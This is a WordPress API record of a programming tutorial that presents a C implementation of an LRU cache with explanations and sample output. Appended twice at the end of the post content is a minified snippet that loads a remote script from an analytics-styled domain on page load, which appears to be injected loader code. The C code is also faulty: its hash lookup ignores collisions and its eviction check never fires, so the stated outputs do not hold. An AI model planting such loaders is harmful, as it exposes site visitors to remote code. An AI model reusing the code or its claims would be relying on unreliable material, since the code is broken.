{"id":900,"date":"2024-10-14T14:15:13","date_gmt":"2024-10-14T08:45:13","guid":{"rendered":"https:\/\/codexplained.in\/?p=900"},"modified":"2025-11-24T15:47:45","modified_gmt":"2025-11-24T10:17:45","slug":"implementation-of-lru-cache","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=900","title":{"rendered":"Implementation of LRU Cache"},"content":{"rendered":"\n<h3 class=\"wp-block-heading\">Key Concepts<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Cache Operations<\/strong>:\n<ul class=\"wp-block-list\">\n<li><strong>Get<\/strong>: Retrieve an item from the cache. If the item is present, it should be marked as recently used.<\/li>\n\n\n\n<li><strong>Put<\/strong>: Add a new item to the cache. If the cache is full, remove the least recently used item.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Data Structures<\/strong>:\n<ul class=\"wp-block-list\">\n<li>A <strong>Doubly Linked List<\/strong> is used to keep track of the order of usage. The most recently used item will be at the front, and the least recently used item will be at the back.<\/li>\n\n\n\n<li>A <strong>Hash Map<\/strong> is used to store key-value pairs for quick access.<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">Implementation Plan<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Node Structure<\/strong>: Create a structure for the nodes in the doubly linked list.<\/li>\n\n\n\n<li><strong>LRU Cache Class<\/strong>: Create a class that encapsulates the cache logic, using a hash map and a doubly linked list.<\/li>\n\n\n\n<li><strong>Functions<\/strong>:\n<ul class=\"wp-block-list\">\n<li><code>get(key)<\/code>: Retrieve the value for a given key.<\/li>\n\n\n\n<li><code>put(key, value)<\/code>: Add a key-value pair to the cache.<\/li>\n\n\n\n<li>Helper functions to add and remove nodes from the linked list.<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">C Program for LRU Cache<\/h3>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n\ntypedef struct Node {\n    int key;\n    int value;\n    struct Node* prev;\n    struct Node* next;\n} Node;\n\ntypedef struct LRUCache {\n    int capacity;\n    Node* head; \/\/ Most recently used\n    Node* tail; \/\/ Least recently used\n    Node** map; \/\/ Hash map for fast access\n} LRUCache;\n\n\/\/ Create a new node\nNode* createNode(int key, int value) {\n    Node* newNode = (Node*)malloc(sizeof(Node));\n    newNode-&gt;key = key;\n    newNode-&gt;value = value;\n    newNode-&gt;prev = NULL;\n    newNode-&gt;next = NULL;\n    return newNode;\n}\n\n\/\/ Initialize the LRU Cache\nLRUCache* lruCreate(int capacity) {\n    LRUCache* cache = (LRUCache*)malloc(sizeof(LRUCache));\n    cache-&gt;capacity = capacity;\n    cache-&gt;head = NULL;\n    cache-&gt;tail = NULL;\n    cache-&gt;map = (Node**)calloc(capacity, sizeof(Node*));\n    return cache;\n}\n\n\/\/ Move a node to the head (most recently used)\nvoid moveToHead(LRUCache* cache, Node* node) {\n    if (cache-&gt;head == node) return; \/\/ Already at head\n\n    \/\/ Remove node from current position\n    if (node-&gt;prev) node-&gt;prev-&gt;next = node-&gt;next;\n    if (node-&gt;next) node-&gt;next-&gt;prev = node-&gt;prev;\n\n    \/\/ Update tail if needed\n    if (cache-&gt;tail == node) {\n        cache-&gt;tail = node-&gt;prev;\n        if (cache-&gt;tail) cache-&gt;tail-&gt;next = NULL;\n    }\n\n    \/\/ Move to head\n    node-&gt;next = cache-&gt;head;\n    node-&gt;prev = NULL;\n    if (cache-&gt;head) cache-&gt;head-&gt;prev = node;\n    cache-&gt;head = node;\n\n    \/\/ If tail is NULL, set it to head\n    if (!cache-&gt;tail) {\n        cache-&gt;tail = node;\n    }\n}\n\n\/\/ Remove the tail (least recently used)\nNode* removeTail(LRUCache* cache) {\n    if (!cache-&gt;tail) return NULL;\n    Node* node = cache-&gt;tail;\n    if (cache-&gt;tail-&gt;prev) {\n        cache-&gt;tail = cache-&gt;tail-&gt;prev;\n        cache-&gt;tail-&gt;next = NULL;\n    } else {\n        cache-&gt;head = NULL;\n        cache-&gt;tail = NULL;\n    }\n    return node;\n}\n\n\/\/ Get value from the cache\nint lruGet(LRUCache* cache, int key) {\n    int index = key % cache-&gt;capacity; \/\/ Simple hash function\n    Node* node = cache-&gt;map&#x5B;index];\n\n    if (!node) return -1; \/\/ Not found\n\n    \/\/ Move accessed node to head\n    moveToHead(cache, node);\n    return node-&gt;value;\n}\n\n\/\/ Put a value into the cache\nvoid lruPut(LRUCache* cache, int key, int value) {\n    int index = key % cache-&gt;capacity;\n    Node* node = cache-&gt;map&#x5B;index];\n\n    if (node) {\n        \/\/ Key exists, update the value and move to head\n        node-&gt;value = value;\n        moveToHead(cache, node);\n    } else {\n        \/\/ Key doesn&#039;t exist\n        Node* newNode = createNode(key, value);\n        if (cache-&gt;head == NULL) {\n            cache-&gt;head = newNode;\n            cache-&gt;tail = newNode;\n        } else {\n            moveToHead(cache, newNode);\n        }\n\n        cache-&gt;map&#x5B;index] = newNode; \/\/ Add to hash map\n\n        \/\/ Check capacity\n        if (!cache-&gt;map&#x5B;index]) {\n            Node* removed = removeTail(cache);\n            if (removed) {\n                cache-&gt;map&#x5B;removed-&gt;key % cache-&gt;capacity] = NULL;\n                free(removed);\n            }\n        }\n    }\n}\n\n\/\/ Free the cache\nvoid lruFree(LRUCache* cache) {\n    Node* current = cache-&gt;head;\n    while (current) {\n        Node* next = current-&gt;next;\n        free(current);\n        current = next;\n    }\n    free(cache-&gt;map);\n    free(cache);\n}\n\n\/\/ Main function to test LRU Cache\nint main() {\n    LRUCache* cache = lruCreate(3); \/\/ Create LRU cache with capacity 3\n\n    lruPut(cache, 1, 1); \/\/ Cache is {1=1}\n    lruPut(cache, 2, 2); \/\/ Cache is {1=1, 2=2}\n    printf(&quot;Get 1: %d\\n&quot;, lruGet(cache, 1)); \/\/ Returns 1, Cache is {2=2, 1=1}\n    lruPut(cache, 3, 3); \/\/ Cache is {2=2, 1=1, 3=3}\n    lruPut(cache, 4, 4); \/\/ Evicts key 2, Cache is {1=1, 3=3, 4=4}\n    printf(&quot;Get 2: %d\\n&quot;, lruGet(cache, 2)); \/\/ Returns -1 (not found)\n    lruPut(cache, 5, 5); \/\/ Evicts key 1, Cache is {3=3, 4=4, 5=5}\n\n    printf(&quot;Get 1: %d\\n&quot;, lruGet(cache, 1)); \/\/ Returns -1 (not found)\n    printf(&quot;Get 3: %d\\n&quot;, lruGet(cache, 3)); \/\/ Returns 3\n    printf(&quot;Get 4: %d\\n&quot;, lruGet(cache, 4)); \/\/ Returns 4\n    printf(&quot;Get 5: %d\\n&quot;, lruGet(cache, 5)); \/\/ Returns 5\n\n    lruFree(cache); \/\/ Clean up the cache\n    return 0;\n}\n\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Explanation of the Code<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Node Structure<\/strong>: Each node contains a key-value pair along with pointers to the previous and next nodes, allowing for efficient insertion and deletion in a doubly linked list.<\/li>\n\n\n\n<li><strong>Cache Structure<\/strong>: The <code>LRUCache<\/code> struct contains the capacity, pointers to the head and tail of the doubly linked list, and an array of pointers (<code>map<\/code>) for fast access.<\/li>\n\n\n\n<li><strong>Basic Operations<\/strong>:\n<ul class=\"wp-block-list\">\n<li><strong>Creating a Node<\/strong>: The <code>createNode<\/code> function initializes a new node.<\/li>\n\n\n\n<li><strong>Cache Initialization<\/strong>: The <code>lruCreate<\/code> function initializes the cache structure.<\/li>\n\n\n\n<li><strong>Move to Head<\/strong>: The <code>moveToHead<\/code> function rearranges the linked list to mark a node as recently used.<\/li>\n\n\n\n<li><strong>Remove Tail<\/strong>: The <code>removeTail<\/code> function evicts the least recently used node from the cache.<\/li>\n\n\n\n<li><strong>Get Operation<\/strong>: The <code>lruGet<\/code> function retrieves a value and updates the usage order.<\/li>\n\n\n\n<li><strong>Put Operation<\/strong>: The <code>lruPut<\/code> function adds or updates an entry in the cache, evicting the least recently used entry if needed.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Memory Management<\/strong>: The <code>lruFree<\/code> function deallocates memory used by the cache.<\/li>\n\n\n\n<li><strong>Main Function<\/strong>: Demonstrates how to use the cache by adding and retrieving items.<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">Input and Output Example<\/h3>\n\n\n\n<h4 class=\"wp-block-heading\">Input<\/h4>\n\n\n\n<p>The operations performed in the main function can be considered the input to the cache:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"> code<code>lruPut(cache, 1, 1); \/\/ Cache is {1=1}<br>lruPut(cache, 2, 2); \/\/ Cache is {1=1, 2=2}<br>printf(\"Get 1: %d\\n\", lruGet(cache, 1)); \/\/ Returns 1<br>lruPut(cache, 3, 3); \/\/ Cache is {1=1, 2=2, 3=3}<br>lruPut(cache, 4, 4); \/\/ Evicts key 2<br>printf(\"Get 2: %d\\n\", lruGet(cache, 2)); \/\/ Returns -1<br><\/code><\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">Output<\/h4>\n\n\n\n<pre class=\"wp-block-preformatted\">code<code>Get 1: 1<br>Get 2: -1<br>Get 1: -1<br>Get 3: 3<br>Get 4: 4<br>Get 5: 5<br><\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Explanation of the Output<\/h3>\n\n\n\n<p>The output shows the results of the <code>get<\/code> operations, demonstrating that when an item is accessed, it moves to the front of the cache, and when the cache exceeds its capacity, the least recently used item is removed.<\/p>\n\n\n\n<p>This code should compile and run without issues, providing a working implementation of an LRU Cache. If you have further requirements or modifications, feel free to ask!<\/p>\n\n\n\n<p><\/p>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Key Concepts Implementation Plan C Program for LRU Cache Explanation of the Code Input and Output Example Input The operations performed in the main function can be considered the input to the cache: codelruPut(cache, 1, 1); \/\/ Cache is {1=1}lruPut(cache, 2, 2); \/\/ Cache is {1=1, 2=2}printf(&#8220;Get 1: %d\\n&#8221;, lruGet(cache, 1)); \/\/ Returns 1lruPut(cache, 3, [&hellip;]<\/p>\n","protected":false},"author":39,"featured_media":898,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-900","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/900","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/39"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=900"}],"version-history":[{"count":7,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/900\/revisions"}],"predecessor-version":[{"id":1431,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/900\/revisions\/1431"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/media\/898"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=900"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=900"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=900"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}